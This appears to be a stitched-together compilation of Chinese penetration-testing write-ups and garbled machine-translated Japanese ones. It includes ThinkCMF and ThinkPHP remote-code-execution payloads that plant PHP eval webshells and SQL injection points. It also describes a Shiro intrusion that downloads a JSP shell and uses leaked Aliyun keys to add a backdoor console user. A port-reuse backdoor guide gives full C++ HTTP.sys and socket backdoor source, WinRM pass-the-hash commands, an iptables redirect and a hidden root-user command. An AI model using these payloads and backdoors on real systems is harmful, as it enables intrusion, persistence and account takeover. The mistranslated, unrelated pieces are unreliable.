私はパケットを捕まえてURLを取得しましたが、これが単にthinkcmfであることがわかりましたか?私は微笑んで微笑んで、私はそれを脱ぐことはなかっただろうと思った。フロントデスクには非常に多くのRCEがありました。たとえ犬がいたとしても、私は数秒でそれをすることができました。しかし、私はすぐに現実に顔を平手打ちしました。

poc:payload1を実行:

/index.php?g=apim=oautha=fetchcontent=phpfile_put_contents('pass.php'、 '?php @eval($ _ post [1]);')/Php 图片

Payload2:

/?a=fetch;templatefile=public/indexprefix=''content=phpfile_put_contents('pass.php','?php@eval($_post [1]); ')/php 图片

Payload3:

?a=displaytemplatefile=%3c?php%20file_put_contents(%27mmphp%27、%27%3c%3fphp+eval($ _ post _ post [%22x%22])%3b%3f%3e%27); die();

/?a=displaytemplatefile=data/runtime/logs/portal/yy_mm_dd.log最後に、M.Phpの1文字のトロイの木馬ファイルがディレクトリで生成され、もちろん他のペイロードとしても記述できます。

图片

操作はトラと同じくらい激しいです。ファイル404を見ると、寒いでしょうか?

图片

さらに、このアプリにはSQLインジェクション:インジェクションポイントもあります。

/index.php?g=appapim=videovideoid=1 图片

注入ポイント2:

/index.php?g=appapim=autha=indexuid=1288889TOKEN=B69CDA34DFF2FA978A94B5583E7F5C9A 图片

图片

注入もクールです。 0日のリズムを取り出してほしいと思われますか?それを忘れて、耐えましょう。いくつかの調査の後、詳細は投稿されず、ここでは千の単語が省略されます。あなたがあまりにも多くのことを言ったら、それはすべて涙です.最後に、Phpinfoがリリースされ、ペイロードはバージョン7.2の上にあります。

/?a=fetchContent=?=phpinfo(); exit();これはシェルに近いステップではなく、disable_functionsが非常に多く無効になっていることがわかります。

图片

私はここでアサート関数を使用して書くことを試みました、そしてそれが行われたと思いましたが、結果はまだ返されました1

图片

@Assert関数は機能しません。ここでは、file_get_contentsを読み取り、データベース構成ファイルを読み取ることができます

图片

config.phpファイルを読み続けたとき、アプリをダウンロードしたときにAlibaba Cloud OSSに配置されたことを突然思い出しました。その構成ファイルにはAlibaba CloudキーとIDが必要であることは論理的ですが、結局のところ現実は非常に残酷であるため、Aliyunの文字さえ見ませんでした。

图片

一部の構成ファイルで読み取るものは何もなく、データベースとRedisを外部で接続することはできません。そこで、シェルを書いて注意深く裏返し、file_put_contentsを使用してファイルを読み取ることを試みます。

图片

不可能だと思われます。パラメーターの問題が原因ですか? file_get_contentsは任意のファイルを読み取ることができますか、それともディレクトリを書き込むことができませんか? /tmp/1.txtで書き込もうとすると、同じエラーも報告されました。 PHPはファイルを書き込むために他の機能も必要だと思ったので、w3schoolはひっくり返しました

图片

123をi.txtに書き込み、ファイルを正常に書き込みます

图片

图片

PHPに文を書くようにしてください、そして、それはテンプレートが存在しないことを促します。どうすればいいですか?シェルが取得されたことがわかりました。 FWRITEパラメーターを注意深くご覧ください。 W+は書き込みを開くことで、R+は追加します。 1つのキャラクターを1つずつ書きたいですか?そうです、それはただ一人のキャラクターを1人のキャラクターに書くことです。a=fetchContent=%3c?=@$ fp=fopen(%221.php%22、%27a+%27);%20fwrite($ fp、%27%27); exit();图片

最後にゲルシェル

图片

バイパスコマンドの実行とリバウンドシェル

图片

次に、パック +ズボンを脱ぎます

mysqldump -h127.0.0.1 -uxxxx -p

0x00 前言

2022.8.X单位突然通知参与某行业专项攻防演练,本着学习的目的参与了一波,特此记录。

0x01 打点

获得目标单位名称

先通过爱企查、天眼查等工具查询目标及目标下属单位信息

可以利用工具:ENEScan_GO

接着就是信息收集三板斧

子域名、IP、端口

收集子域名:OneForAll(API要配置全一点)、Subfinder、FOFA、Hunter

收集IP:Eeyes、domain2ip

端口扫描:Goby、Nmap、Masscan

这里使用的是Goby全端口扫描,扫描速度堪忧,但优点是比较全面且展示效果较好。

端口扫描后筛出Web类与非Web类端口,便于精确打击。

Web类可以先统一进行指纹识别,优先攻击一些重点的框架系统 比如(Shiro、通达OA、用友NC等)

非web类可以筛出来进行服务爆破,一些特殊的端口可以优先摸一下试试,比如6379 Redis

0x02 获取突破口

一番操作之后,通过以上打点,得到了一个Shiro框架的系统,这个系统是访问路径后默认跳转到SSO平台进行登录的。想进入该系统,入口必须是走SSO平台登录验证后进入。但是经过手工口令测试,发现通过弱口令进SSO系统有点困难,战略性放弃。
先利用Shiro反序列化工具查看是否存在RCE漏洞。

image-20220825152609345.png

这边给个建议,不同工具可能不一定能抛出Key和利用链,大家在进行测试的时候,手里尽量多换几个工具来测试,我这里换了三个工具才跑出Key和利用链,其他的工具就是跑不出(不是Key字典的问题,就是单纯跑不出。。。)

image-20220825154032692.png

image-20220825154317117.png

Linux机子,whoami Root权限,ping www.baidu.com 出网。
先用linux语句 根据网站的静态文件名称找一下目录地址

find / -name 404.jsp

image-20220825154413821.png

直接到能访问的网站根目录下 wget我VPS上的JSP马,接着蚁剑连接。

image-20220825155446999.png

翻了一下/webapps下,发现是3个系统+SSO系统
猜测只要经过SSO验证就可以访问其他的3个系统

image-20220825160138665.png

接着开始翻配置文件
在路径 /webapps/xxx/WEB-INF/classes/ 
发现一个dbconfig.properties文件,发现了MySQL与Redis的连接信息。(要打码的东西较多,我就不放了)
MySQL是阿里云的,不是内网本地的,看了一下,发现原来打的这台机子是云主机。
白高兴一场,想着下一步就连一下MysQL看看能不能登陆SSO 以及接着翻翻看看有什么文件还有泄露配置信息然后就收工了。
mysql连接后,看到了SSO的库,以及其他3个系统的库,但当务之急是先看看能否登录SSO
查看SSO表中的sso_pwd字段

image-20220825161123156.png

发现是加密的。。。还不是普通的加密。(蚌埠住了。。)

0x03 柳暗花明

正当准备写报告收工时,一个名为 config.properties 的文件引起了我的注意。
点开查看了一下发现 what!!!

image-20220825161652464.png

SSO加密的密钥对 以及 Aliyun的accesskeyID和Secret

起飞!

0x04 解密SSO密码

RSA加密、RSA解密 - 在线工具 - OKTools
image-20220825162544727.png

密码竟然是随机生成的。。。这辈子都爆破不出来。。
登录SSO系统

image-20220825162843993.png

接着通过数据库中的其他库的密码 进入3个系统,图片我就不放了(要打码的东西太多了。。。。)。

0x05 接管云平台

前几天才看到的TeamSix师傅的文章,今天正好有现成环境复现,美滋滋。
我用 CF 打穿了他的云上内网 | T Wiki (teamssix.com)
CF工具地址:
teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便红队人员在获得 AK 的后续工作 (github.com)

cf alibaba ls

查看云资源

image-20220825164049756.png
1个bucket桶 + 2个OSS资源 + 1个ECS资源

cf alibaba console

添加后门用户接管阿里云控制台

image-20220825163327862.png

image-20220825164425766.png

访问控制中看到当前权限为:AdministratorAccess 意味着我们已经拿到了该租户的管理员权限
image-20220825164744159.png

翻一下 OSS资源以及ECS资源
OSS:

image-20220825164840765.png

ECS:

image-20220825164925978.png

image-202208251655288.png

至此,完事,写报告,收工。

0x06 总结

复现了一波AK接管云平台,感觉收获良多,相信云安全这块以后也会成为攻防演练的突破口。
此外,这次的攻击路径有点太过顺利了,不管是发现Shiro框架还是翻配置文件找到RSA密钥对和AK配置信息,我一度以为是蜜罐。。。

番外:
写报告的时候,和队友聊了一下,没想到这个站还是靶标。。。。只能说攻防演练,运气也是很重要的。。。。


原文连接: https://forum.butian.net/share/1854

HireHackking

端口复用后门总结

WinRM实现端口复用

这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录

服务介绍

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

后门应用

在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务

winrm quickconfig -q

启动后防火墙也会放行该端口
20210104174750
设置启用httplistener监听并存

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

20210104174922

修改监听端口为80/443

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTPS  @{Port="443"}

20210104175540

本地连接也需要开启WinRM服务,然后设置信任连接的主机,

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami"

20210105131322
20210105125247

WinRM PTH

mac下使用evil-winrm实施pth

sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

测试了下复用后也是可以pth连接的。
20210105131325
20210105131152

HTTP.sys端口复用

HTTP.sys介绍

这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys

1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。

劫持程序实现

这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。
注册代码参考msdn和stackoverflow上的代码:

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application

DWORD DoReceiveRequests(IN HANDLE hReqQueue)
{
    ULONG              result;
    HTTP_REQUEST_ID    requestId;
    DWORD              bytesRead;
    PHTTP_REQUEST      pRequest;
    PCHAR              pRequestBuffer;
    ULONG              RequestBufferLength;

    //
    // Allocate a 2 KB buffer. This size should work for most 
    // requests. The buffer size can be increased if required. Space
    // is also required for an HTTP_REQUEST structure.
    //
    RequestBufferLength = sizeof(HTTP_REQUEST) + 2048;
    pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength);

    if (pRequestBuffer == NULL)
    {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

    pRequest = (PHTTP_REQUEST)pRequestBuffer;

    //
    // Wait for a new request. This is indicated by a NULL 
    // request ID.
    //

    HTTP_SET_NULL_ID(&requestId);

    for (;;)
    {
        RtlZeroMemory(pRequest, RequestBufferLength);

        result = HttpReceiveHttpRequest(
            hReqQueue,          // Req Queue
            requestId,          // Req ID
            0,                  // Flags
            pRequest,           // HTTP request buffer
            RequestBufferLength,// req buffer length
            &bytesRead,         // bytes received
            NULL                // LPOVERLAPPED
        );
        if (NO_ERROR == result)
        {

            DWORD answer = 0;
            HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo;
            ULONG bytesReceived;
            answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0,
                &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收
            char* command;
            char temp[512];
            string cmd_temp;
            strcpy_s(temp, pRequest->pRawUrl);
            command = temp;
            command = strstr(command, "cmd=");
            if (command == NULL)
                continue;
            cmd_temp.assign(command);
            cmd_temp.replace(cmd_temp.find("cmd="), 4, "");
            //------------------------------------
            uint8* text = (uint8*)cmd_temp.c_str();
            uint32 text_len = (uint32)strlen((char*)text);
            uint8 buffer[1024], buffer2[4096];
            uint32 size = base64_decode(text, text_len, buffer);
            buffer[size] = 0;
            //------------------------------------
            printf("%s", buffer);
            if (answer != NO_ERROR)
            {

                string results;
                if (cmd_temp.size() == 0)
                    continue;
                char* tis((char*)buffer);
                HANDLE hRead, hWrite;
                CreatePipecmd(tis, hRead, hWrite, results);
                result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));
            }
            else
            {
                result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK");
            }

            if (result != NO_ERROR)
            {
                //break; //if failed to send response, stop listening for further incoming requests
            }
            //
            // Reset the Request ID to handle the next request.
            //
            HTTP_SET_NULL_ID(&requestId);
        }
        else
        {
           // break;
        }

    }
    if (pRequestBuffer)
    {
        FREE_MEM(pRequestBuffer);
    }

    return result;
}

HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。
等待访问来源后
截取cmd=后字段内容

char* command;
char temp[512];
string cmd_temp;
strcpy_s(temp, pRequest->pRawUrl);
command = temp;
command = strstr(command, "cmd=");
if (command == NULL) //防止为空时报错。
    continue;
cmd_temp.assign(command);
cmd_temp.replace(cmd_temp.find("cmd="), 4, "");

对传入内容base64解码

uint8* text = (uint8*)cmd_temp.c_str();
uint32 text_len = (uint32)strlen((char*)text);
uint8 buffer[1024], buffer2[4096];
uint32 size = base64_decode(text, text_len, buffer);
buffer[size] = 0;

base64解码函数

#include <stdio.h>
#include <string.h>
#include <assert.h>
typedef unsigned char     uint8;
typedef unsigned long    uint32;
static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static uint8 reverse_map[] =
{
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255,
     255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
     255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255
};
uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain)
{
    assert((code_len & 0x03) == 0);  //如果它的条件返回错误,则终止程序执行。4的倍数。

    uint32 i, j = 0;
    uint8 quad[4];
    for (i = 0; i < code_len; i += 4)
    {
        for (uint32 k = 0; k < 4; k++)
        {
            quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数
        }

        assert(quad[0] < 64 && quad[1] < 64);

        plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合

        if (quad[2] >= 64)
            break;
        else if (quad[3] >= 64)
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合
            break;
        }
        else
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2);
            plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
        }
    }
    return j;
}

命令执行,这里我用的createprocess+命名管道实现命令结果的回传。

string results;
if (cmd_temp.size() == 0)
    continue;
char* tis((char*)buffer);
HANDLE hRead, hWrite;
CreatePipecmd(tis, hRead, hWrite, results);
result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));

为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。
先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。

BOOL KillProcess(DWORD ProcessId)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
    if (hProcess == NULL)
        return FALSE;
    if (!TerminateProcess(hProcess, 0))
        return FALSE;
    return TRUE;
}
char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result)
{
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hCmdRead, hCmdWrite;
    char buf[2048] = { 0 };
    DWORD len;
    CreatePipe(&hRead, &hCmdWrite, &sa, 0);
    int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0);
    if (nRet == 0) {        //管道创建失败
        printf("CreatePipecmd()::CreatePipe() fail!\n");
        return NULL;
    }
    STARTUPINFO startinfo;          //设置cmd启动参数
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hCmdRead;
    startinfo.hStdOutput = hCmdWrite;
    startinfo.hStdError = hCmdWrite;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION proinfo;    //创建cmd进程
    nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo);
    int pid = GetProcessIdOfThread(proinfo.hThread);
    CloseHandle(hCmdRead);      //关闭cmd读写句柄HANDLE
    CloseHandle(hCmdWrite);
    CloseHandle(proinfo.hThread);
    CloseHandle(proinfo.hProcess);
    if (0 == nRet) {
        printf("CreatePipecmd()::CreateProcess() fail.\n");
        CloseHandle(hRead);
        CloseHandle(hWrite);
        result += buf;
    }
    Sleep(100);
    KillProcess(pid);
    while (ReadFile(hRead, buf, 2047, &len, NULL))
    {
        printf(buf);
        result += buf;
        ZeroMemory(buf, 2047);
    }
}

实现效果:
uh12t-ubagi

可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。

普通用户权限实现后门

上面介绍的都是在管理员权限使用。在普通用户下如何实现。
netsh http show urlacl

查看所有urlacl。
20210105165543

找到有一个自带url是everyone的

http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp

20210105170450

也可以自己手动添加everyone映射。

netsh http add urlacl url=http://+:80/1111.jsp user=everyone

IIS模块劫持实现

找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。

C

先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。

20210107111811

利用项目

https://github.com/WBGlIl/IIS_backdoor
整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。

代码说明:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

实现效果
20210107172133

使用前提:
IIS开启应用程序开发功能。
20210107161819

这里在添加模块处需要注意.net版本。
20210107162415

Cpp

https://github.com/0x09AL/IIS-Raid

20210108114458

利用SO_REUSEADDR和SO_REUSEPORT端口复用

查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。
因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。

这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。
如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。

复用的参考代码可以看:https://xz.aliyun.com/t/1661

//绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);
    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;

20210131200052

20210129214937

最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。

后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);
    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, SOMAXCONN);
    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);
    closesocket(listenSock);
    int iResult = 0,iSendResult = 0;
    #define DEFAULT_BUF_LEN 512
    char caRecvBuf[DEFAULT_BUF_LEN];
    do 
    {
        iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL);
        if (iResult > 0)
        {
            printf("Receive %d bytes of data...\n", iResult);
            string results;
            char buffer[1024];
            char* tis((char*)buffer);
            HANDLE hRead, hWrite;
            CreatePipecmd(caRecvBuf, hRead, hWrite, results);

            char* p = (char*)results.data();
            //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL);
            iSendResult = send(recvSock, p, 2048, NULL);
            if (iSendResult == SOCKET_ERROR)
            {
                printf("fail to call send function\n");
                closesocket(recvSock);
                WSACleanup();
                return 1;
            }
            printf("Send %d bytes of data...\n", iResult);
        }
        else if (iResult == 0)
        {
            printf("End sending data\n");
        }
        else
        {
            printf("fail to call recv function\n");
            closesocket(recvSock);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);
    iResult = shutdown(recvSock, SD_BOTH);
    WSACleanup();
    return 0;
}

5fxh8-1tcpk

w3wp.exe利用

这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。
上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了
原文:https://www.freebuf.com/articles/system/11305.html
代码:https://github.com/zhang5521/Aiwb
我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。

后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。
文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html
文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html

然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败

20210129161129

自己写的hook也尝试了,注入失败。

不想了,这算是个思路吧,

iptables端口转发

整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。
不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。

命令:

将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。

附一句话添加超级用户命令:

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps   //密码为adminxxx.    python -c "import crypt;print crypt.crypt('adminxxx.','ab')"

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙
https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块



本文转载自: http://8sec.cc/index.php/archives/450/

ターゲットサイトページを取得します

图片

それが始まる前にあきらめる準備をしてください

次に、右上隅にポイントモールを見てみましょう。悲しい心でクリックしました

图片

私はこのページを見て、ドアを叩き、10分間喫煙に出かけました[なぜ私が前にそれをしなかったのか尋ねないでください

情報の収集を開始します

このポイントストアを入手して、ドメイン名をFOFAに入れます

图片

実際のIPを取得した後、Baota BackEndログインパネル图片を見つけました

次に、ドメイン名/IPを使用してディレクトリ[Yujianの超大規模な辞書]をスキャンし、言語バーを調べて確認します。どのスクリプト言語ドメイン名が直接index.php [pages]、index.jsp [404]、index.asp [404]、ok、phpに連絡して背景を取得してください

图片

このようなページが非常に少ない場合は、試してみる機能を見つけるために運を試してみてください

图片

FOFAで検索します

图片

多くのページが表示されてから、Baidu 图片で検索してください

このフレームワークはThinkPhpに基づいて開発されていることが確認されています[TPフレームワークの脆弱性を攻撃に使用する場合、ここにアイデアがあります:があります。成功しない場合は、コード監査に発見されたCMSを使用できます。上記のbaotaログインパネルを見つけたという事実に基づいて、任意のファイルを監査してBaotaユーザー名とパスワードを読むことができます。タスクを計画します] TP脆弱性スキャンツールを使用してPOC 图片を取得します

デバッグエラーはTP5.0.1で、検索しました。ログパスを見つけました。ログ包含を使用しようとしましたが、失敗しました。その後、特定の数に到達し、PHPINFOページが特定のKBを占有すると、彼のログがクリアされることがわかりました。したがって、彼のログをげっぷを介してクリアしてから、URLエンコードを?phpphpinfo();//[脆弱性概要ファイル包含] 图片に変換する必要がありました。

图片

送信すると、ログファイルがげっぷで表示されなかった直後に消えます。この時点で、最初のPOCを振り返ってください。 POCが成功すると、以下にデバッグ情報が表示されます。图片

したがって、実行が成功したときにRAWに焦点を当て、主要な機能を抽出するために次の情報が表示されます图片

重要な機能を抽出し、RAW 图片で検索します

图片

したがって、phpphpinfo();含まれていますが、これら2つの機能が繰り返されます。操作は現在ログに書き込まれ、パケットをキャッチし、URLの%3c?php%20phpinfo();%3eをphp phpinfo();に変換します。ここでは、そのログが一定の量に達すると、クリアされ、悪意のあるコードが含まれないことに注意してください。 phpphpinfo(); phpphpinfo();送信するときは、ログにアクセスして、存在するかどうかを確認する必要があります。phpphpinfo();ここで3回試しました。機能を正常に含めることは問題ではありません(正常に含まれています)。残りのけいれんは言及されていません。簡単すぎます。含まれて実行されている限り、GetShellは問題ではありません。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/ve5qx0fi_0owvq-6uc9xg

1。原因

近年中国では、違法なほうれん草のギャンブルの症例がたくさんありました。今回は、次の違法ほうれん草のウェブサイトにどのように侵入したかを説明します。この侵入は純粋に運とウェブマスターの過失であり、アリの巣に1000年前の堤防の破壊と言えます。読者の理解を確実にするために、侵入者のアイデンティティはそれを文書化するために特別に使用されます!

2。スカウトと収集情報

ターゲットサイトを開き、ほうれん草のWebサイトであることがわかり、情報の収集を開始しました。

图片

ドメイン名の情報クエリは、ドメイン名がWesternDigitalから来ていることを学びました

图片ここでは、WebmasterのPingツールを使用して、使用されているCDNがあるかどうかを確認し、サーバールームの場所をクエリします。 WHOISの結果から、DNS PODがDNS PODを使用していることを学びましたが、それを経験した人は、一般的な大規模なIDCメーカーが独自のDNSを持っていることを知っているので、エージェントはDNS PODを使用しています

このドメイン名がエージェントに登録されていることは明らかです。私はもともとソーシャルワークドメイン名を準備しましたが、それは意味がありませんでした。他の人は、それを解析した後に戻ってきた後も同じことを使用していました。 F4therは、安全性のパルスをハイジャックするのはハニーポットと釣りであると言う前に記事を書きました。しかし、それはあまりにも面倒で、それをスキップして直接浸透させるだけです。

图片

URLがHome/Change/Alipayinfo/Alipay/Wechat.htmlであることがわかりました。私の最初の予想は、ThinkPhpフレームワークを使用して書かれたプログラムです。

图片

私の推測を確認するために、私は特別にアドレスを入力して、それがエラーを報告したかどうかを確認しました。一般に、ThinkPhpにエラーを報告するときにバージョン +物理パスが表示されます。その結果、写真のポイントを見ると、次の情報を入手できます。

1.このサイトでは、ThinkPhp3.2.2フレームワークを使用しています。

2。物理的な力C: \ www \ pcdd \ pc

3.このウェブサイトはCDNを使用していません

4.このウェブサイトサーバーは海外(カナダ)です。

5.このウェブサイトには抜け穴が必要です。

图片

3。戦いを開始

